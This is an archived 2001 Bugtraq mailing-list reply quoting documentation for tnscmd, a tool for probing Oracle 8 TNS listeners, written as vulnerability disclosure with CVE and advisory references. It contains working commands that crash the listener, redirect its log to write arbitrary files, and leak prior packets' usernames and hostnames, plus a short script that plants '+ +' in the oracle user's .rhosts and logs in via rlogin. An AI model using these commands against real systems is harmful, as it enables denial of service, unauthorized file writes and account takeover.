Re: Re: Oracle8 denial of service

From: Siddhartha Jain (losttoy2000at_private)
Date: Fri Apr 27 2001 - 07:30:08 PDT

  • Next message: Elias Levy: "Re: Double clicking on innocent looking files may be dangerous"

    I tested it against Solaris 2.8 running Oracle 8.1.6 but it wouldn't crash.
    But a Solaris 2.6 box running Oracle 8.1.6 did. I had hardened the Solaris 8
    box with some TCP/IP tweaks.. I guess that did the trick.
    
    
    Siddhartha
    
    ----- Original Message -----
    From: "James W. Abendschan" <jwaat_private>
    To: <BUGTRAQat_private>
    Sent: Friday, April 27, 2001 1:44 AM
    Subject: Re: Oracle8 denial of service
    
    
    > On Wed, 25 Apr 2001, Guy Poizat wrote:
    >
    > > > >It works against Oracle 8.0.5 running on linux as
    > > > >well...
    > > > >
    > > > >Tib
    > > >
    > > > Doesn't seem to work against Oracle 8.1.6 on linux, as far as i tried.
    >
    > I finally got around to documenting the bugs I was able to find back
    > in October (DoS; write files wherever tnslsnr has write privs [ie,
    .rhosts];
    > packet leaking).  I'd be interested to know what other versions of Oracle
    are
    > affected by these problems -- I was testing Oracle 8.1.6 for Solaris
    (sun4u)
    > at the time.
    >
    > The most current version of the document is available at:
    >
    >    http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
    >
    > I've included it below at the request of Aleph1.  I'm interested
    > in feedback; don't be shy in telling me I've got this all wrong.
    >
    > James
    >
    >
    >                           [1]tnscmd documentation
    >
    >                                25 April 2001
    >                              [2]jwaat_private
    >           $Id: tnscmd-doc.html,v 1.2 2001/04/26 06:46:47 jwa Exp $
    >
    >   I. Intro
    >
    >    tnscmd can be used to speak, on a very simple level, with Oracle's TNS
    >        listener.
    >        The TNS listener (aka tnslsnr) is the network interface between a
    >        database client and the database server. tnslsnr listens on port
    >        1521/tcp, but the DBA can change this (I've seen listeners on port
    >        1541/tcp as well.) fwiw, [3]nmap-services lists these as ncube-lm
    >        and rds2, respectively.
    >        The tnslnsr keeps a spartan log of activity -- spartan in that it
    >        doesn't log a whole lot of useful information. For instance, it
    >        does not log the IP address of TNS sessions.
    >        If you initiate a TCP session to the tnslsnr port, you won't make
    >        much headway; it won't provide a banner and will probably
    >        disconnect if you type something. Don't worry; this is what tnscmd
    >        is for.
    >
    >   II. tnscmd
    >
    >    tnscmd is not even close to a full-blown Oracle client; it simply
    >        talks to the tnslsnr process. tnslsnr will respond to certain
    >        commands such as ping (an application-level no-op), version (dumps
    >        version information about Oracle), status (dumps status about the
    >        listener and database instances), and services (dumps info about
    >        the running services.) Commands are apparently case-insensitive.
    >        Let's say we've found the host oraclebox.example.com listening on
    >        port 1521. It might be running Oracle; how can we tell? the 'ping'
    >        command is a good place to start; tnscmd will issue a 'ping'
    >        command if given no command.
    >        If we want to ping this host to see if it is actually running
    >        tnslsnr, we would type:
    >   unix% tnscmd -h oraclebox.example.com -p 1521
    >   sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521
    >   writing 87 bytes
    >   reading
    >
    .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))
    >
    >        Here we see three things:
    >
    >      * the TNS command: (CONNECT_DATA=(COMMAND=ping))
    >      * the raw TNS packet sent to tnslsnr: .W.......6. [ etc ]
    >      * and the raw TNS reply packet from tnslsnr:
    >        .I......"..=(DESCRIPTION=( [etc]
    >
    >    This reply is typical of 'ping' replies; the only thing I've noticed
    >    is VSNNUM=135290880 varies from host to host (yet it's the same on two
    >    different hosts running the same Oracle version). I don't know what
    >    this is.
    >
    >   III. Information gathering
    >
    >    OK, now we've established tnslsnr is running on this host. What else
    >        can we do? There are (at least) three commands that are useful for
    >        information gathering, version, status and services:
    >  unix% tnscmd version -h oraclebox.example.com -p 1521
    >  sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521
    >  writing 90 bytes
    >  reading
    >
    .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)
    ).
    >
    a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solari
    s:
    >
    .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.
    fo
    >
    r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapt
    er
    >
    .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for
    .S
    >  olaris:.Version.8.1.6.0.0.-.Production,,.........@
    >
    >        This is pretty straightforward. version reveals the version of
    >        Oracle (in this case, 8.1.6.0.0 for Solaris). Another command,
    >        status is a bit more verbose:
    >  unix% tnscmd status -h oraclebox.example.com -p 1521
    >  sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521
    >  writing 89 bytes
    >  reading
    >
    .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=1352908
    80
    >  )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Versi
    on.8.
    >
    1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u0
    1/
    >
    app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/p
    ro
    >
    >        [ snipped for brevity ]
    >        Wow, look at all that data. Kind of hard to read, but because it's
    >        all balanced within parens, we can break it up with the --indent
    >        option and make it purty:
    >        unix% tnscmd status -h oraclebox.example.com -p 1521 --indent
    >        We'll get something like:
    >   DESCRIPTION=
    >     TMP=
    >     VSNNUM=135290880
    >     ERR=0
    >     ALIAS=LISTENER
    >     SECURITY=OFF
    >     VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production
    >     START_DATE=01-SEP-2000.18:35:49
    >     SIDNUM=1
    >     LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log
    >     PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora
    >     TRACING=off
    >     UPTIME=2032269835
    >     SNMP=OFF
    >
    >        Note SECURITY=OFF. I believe this indicates whether or not the DBA
    >        has assigned a password to the listener.
    >        Note START_DATE and UPTIME. Not clear if UPTIME is the tnslsnr
    >        uptime or the host uptime.
    >        Note the path to LOGFILE and PRMFILE. This can give you a good
    >        idea of the filesystem layout.
    >        Other strange oracle stuff:
    >   ENDPOINT=
    >     HANDLER=
    >       STA=ready
    >       HANDLER_MAXLOAD=0
    >       HANDLER_LOAD=0
    >       ESTABLISHED=0
    >       REFUSED=0
    >       HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0
    >       PRE=ttc
    >       SESSION=NS
    >       DESCRIPTION=
    >         ADDRESS=
    >           PROTOCOL=ipc
    >           KEY=EXTPROC
    >
    >   ENDPOINT=
    >     HANDLER=
    >       STA=ready
    >       HANDLER_MAXLOAD=0
    >       HANDLER_LOAD=0
    >       ESTABLISHED=0
    >       REFUSED=0
    >       HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0
    >       PRE=ttc
    >       SESSION=NS
    >       DESCRIPTION=
    >         ADDRESS=
    >           PROTOCOL=tcp
    >           HOST=oraclebox.example.com
    >           PORT=1521
    >
    >   ENDPOINT=
    >     HANDLER=
    >       STA=ready
    >       HANDLER_MAXLOAD=0
    >       HANDLER_LOAD=0
    >       ESTABLISHED=0
    >       REFUSED=0
    >       HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0
    >       PRE=giop
    >       SESSION=RAW
    >       DESCRIPTION=
    >         ADDRESS=
    >           PROTOCOL=tcp
    >           HOST=oraclebox.example.com
    >           PORT=2481
    >        .. unanswered question: what's running on port 2481?
    >
    >         PROTOCOL_STACK=
    >           PRESENTATION=GIOP
    >           SESSION=RAW
    >
    >   SERVICE=
    >     SERVICE_NAME=PLSExtProc
    >     INSTANCE=
    >       INSTANCE_NAME=PLSExtProc
    >       NUM=1
    >       INSTANCE_CLASS=ORACLE
    >       NUMREL=1
    >
    >   SERVICE=
    >     SERVICE_NAME=pr01stage
    >     INSTANCE=
    >       INSTANCE_NAME=pr01stage
    >       NUM=1
    >       INSTANCE_CLASS=ORACLE
    >       NUMREL=1
    >
    >   SERVICE=
    >     SERVICE_NAME=rcats
    >     INSTANCE=
    >       INSTANCE_NAME=rcats
    >       NUM=1
    >       INSTANCE_CLASS=ORACLE
    >       NUMREL=1
    >        [ ... ]
    >        The 'services' command outputs still more information:
    >  unix% tnscmd services -h oraclebox.example.com -p 1521 --indent
    >
    >        [ ... ]
    >
    >   SERVICE=
    >     SERVICE_NAME=PLSExtProc
    >     INSTANCE=
    >       INSTANCE_NAME=PLSExtProc
    >       NUM=1
    >       INSTANCE_CLASS=ORACLE
    >       HANDLER=
    >         HANDLER_DISPLAY=DEDICATED.SERVER
    >         STA=ready
    >         HANDLER_INFO=LOCAL.SERVER
    >         HANDLER_MAXLOAD=0
    >         HANDLER_LOAD=0
    >         ESTABLISHED=86
    >         REFUSED=0
    >         HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0
    >         HANDLER_NAME=DEDICATED
    >         ADDRESS=
    >           PROTOCOL=beq
    >           PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc
    >
    ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc
    > '
    >
    >           ARGV0=extprocPLSExtProc
    >           ARGS='
    >             LOCAL=NO
    >           '
    >       NUMREL=1
    >
    >        PROGRAM, ENVS, and ARGV0 are potentially interesting. If the
    >        tnslsnr was started out of an interactive shell, ENVS will contain
    >        the user's environment.
    >
    >   IV. Break stuff
    >
    >    tnslsnr is vulnerable to remote denial-of-service attacks and
    >        potential security issues. According to Oracle, only versions
    >        7.3.4, 8.0.6, and 8.1.6 are affected. I have verified
    >        vulnerabilities under 8.1.6 for Solaris.
    >        IV.1 - DoS:
    >
    >    An unpassworded tnslsnr can also be shut down by sending it a 'stop'
    >        command. Obvious, eh?
    >        "Bad" TNS packets can crash the listener, regardless of whether or
    >        not the DBA has set a password. Sending
    >        tnscmd [badcommand] -h oraclebox.example.com
    >        will SEGV the listener. badcommand can be any one of:
    >
    >    trc_file trc_level use_plugandplay trc_directory snmp_visible log_file
    >        log_status log_directory
    >
    >    IV.2 - write files
    >        Recall the 'log_file' command and the LOGFILE variable returned by
    >        the 'status' command. This is the path to the tnslsnr log file. As
    >        you might imagine, this variable can be changed. If we send this
    >        TNS command (using the --rawcmd option to tnslsnr)
    >    unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd
    "(DESCRIPTION=(CONNEC
    >
    T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE
    >    =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))"
    >
    >        .. then tnslsnr will open with O_APPEND /tmp/floboz and start
    >        logging messages to it. This can be verified by the response
    >        packet:
    >
    ........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(L
    O
    > G
    >   FILENAME=/tmp/floboz))
    >
    >        .. or by
    >    unix% tnscmd status -h oraclebox.example.com --indent | grep LOG
    >
    >        Since tnscmd runs as the oracle user, an attacker can write files
    >        anywhere the oracle user can. If an attacker knows the pathname to
    >        a database (can be deduced from the pathnames revealed by tnscmd),
    >        she can clobber the database.
    >        She might, however, chose a more subtle route: either by using
    >        finger or determining the oracle home directory by guesswork
    >        (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts
    >        or .forward file. While the tnslsnr doesn't log much, it *does*
    >        log bad commands; she can then send a command such as (note the
    >        embedded newlines in the quotes)
    >    unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=((
    >    + +
    >    "
    >
    >        .. tnslnsr will log something along the lines of
    >    TNS-01153: Failed to process string:
    >    + +
    >
    >    NL-00303: syntax error in NV string
    >
    >        into our log file / .rhosts.
    >
    >    IV.3: tns packet leakage
    >
    >    To the best of my knowledge, this bug remains unpatched in Oracle
    >        8.1.7.
    >        By lying about the size of the packet we're sending to the
    >        tnslsnr, we can get the tnslsnr to reveal the contents of previous
    >        packets. We can do this with the --cmdsize option. While any
    >        command will work, we use " " (space) just so we preserve the
    >        original buffer contents as much as possible.
    >  unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40
    >  Sending   to oraclebox.example.com:1521
    >  Faking command length to 40 bytes
    >  connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))]
    >
    .T.......6.,...............:................4.............(CONNECT_DATA=(COM
    MA
    >  ND=.))
    >  read
    >
    ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CO
    DE
    >
    =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE
    =3
    >  03)(EMFI=1))))
    >
    >        .. that's odd, where did that vices))CONNECT come from? Hey, that
    >        looks familiar... it looks like the services command I just sent
    >        in the last example! But what's with the CONNECT ? CONNECT_DATA
    >        comes at the beginning of the packet; maybe there's another
    >        command here?
    >  unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90
    >
    >        [ ... ]
    >
    ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CO
    DE
    >
    =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stag
    e1
    >  )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))
    >
    >        Apparently tnslsnr doesn't clear the buffer before writing a
    >        packet into it, or maybe it doesn't properly zero-terminate a
    >        string. Whatever is going on inside can be used to our advantage
    >        to harvest more interesting information. Let's go whole-hog and
    >        try it a --cmdsize of 200:
    >
    ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=
    (E
    >
    RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA
    =(
    >
    SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM
    =C
    >
    :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))'
    ))
    >  (ERROR=(CODE=303)(EMFI=1))))
    >
    >        (I added the XXX's to balance the packet :) Huh, a pathname, a
    >        hostname, and a username. No passwords, unfortunately -- SQL*net
    >        login is handled in a child process, IIRC -- but a username is a
    >        good place to start. On a busy server, this can potentially reveal
    >        lots of usernames. If the listener is passworded and the DBA
    >        connects, will the password be leaked? hmm.
    >        By playing with the --cmdsize argument, the rest of the "old"
    >        packet(s) will be revealed. Once you've gone past a certain point,
    >        though, you'll just get a TNS error (ERR=1153). It's also not too
    >        hard to write a program to find the optimal values & run it
    >        against a server for a few days ..
    >
    >   V. References:
    >
    >      * [4]CVE entry
    >      * [5]Oracle security alerts
    >      * [6]ISS's advisory
    >      * [7]Oracle Control Utility Reference
    >      * [8]advisory sent to Oracle and CERT on 23 Oct 2000
    >      * [9]tnscmd home
    >
    >   notes
    >
    >    Commands intuited from 'strings `which tnslsnr`':
    >
    >      * investigate spawn command; how to list what commands can be
    >        spawned?
    >      * ping - pings the listener
    >      * debug - dumps debugging info to the listener log
    >        (/u01/app/oracle/product/8.1.6/network/log/listener.log)
    >      * dispatch - ?
    >      * establish - "TNS-12504: TNS:listener was not given the SID in
    >        CONNECT_DATA"
    >      * reload - reloads config file
    >       06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0
    >       06-OCT-2000 23:37:03 * service_register * pr01dev * 0
    >      * services - dumps all sorts of chilly data
    >      * save_config - writes config to a backup file. (can this be
    >        specified remotely? hrm)
    >      * trace - needs a "trace level", unsure of the syntax here
    >      * version - pretty output of the installed TNS listener version(s)
    >      * stop - shuts the listener down (on purpose). if the DBA has set
    >        the database up properly, this should not work without a password.
    >
    >    0-day spl01t:
    >
    > #!/bin/sh
    > #
    > # jwaat_private  6 Oct 2000
    > #
    >
    > # point the logfile at $HOME/.rhosts
    >
    > ./tnscmd --rawcmd
    "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
    >
    MMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01
    /ho
    > me/oracle/.rhosts)))" -h oraclesvr2
    >
    > # verify that it worked (this will dump the value of log_file)
    >
    > ./tnscmd --rawcmd
    "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
    > MMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2
    >
    > # put arbitrary data into the logfile-- it will look something like this:
    > #
    > # 06-OCT-2000 18:14:46 * log_file * 0
    > # 06-OCT-2000 18:14:46 * log_file * 0
    > # 06-OCT-2000 18:14:47 * 1153
    > # TNS-01153: Failed to process string:
    > # + +
    > #
    > # NL-00303: syntax error in NV string
    > #
    >
    > ./tnscmd --rawcmd "
    > + +
    > " -h oraclesvr2
    >
    > #
    > # connect
    > #
    >
    > rlogin -l oracle oraclesvr2
    >
    > References
    >
    >    1. http://www.jammed.com/~jwa/hacks/security/tnscmd
    >    2. mailto:jwaat_private
    >    3. http://www.insecure.org/nmap
    >    4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818"
    >    5. http://otn.oracle.com/deploy/security/alerts.htm
    >    6. http://xforce.iss.net/alerts/advise66.php
    >    7. http://www.oradoc.com/ora8doc/DOC/network803/A51576_01/appa.htm
    >    8. http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt
    >    9. http://www.jammed.com/~jwa/hacks/security/tnscmd/
    
    
    _________________________________________________________
    Do You Yahoo!?
    Get your free @yahoo.com address at http://mail.yahoo.com
    



    This archive was generated by hypermail 2b30 : Fri Apr 27 2001 - 07:25:08 PDT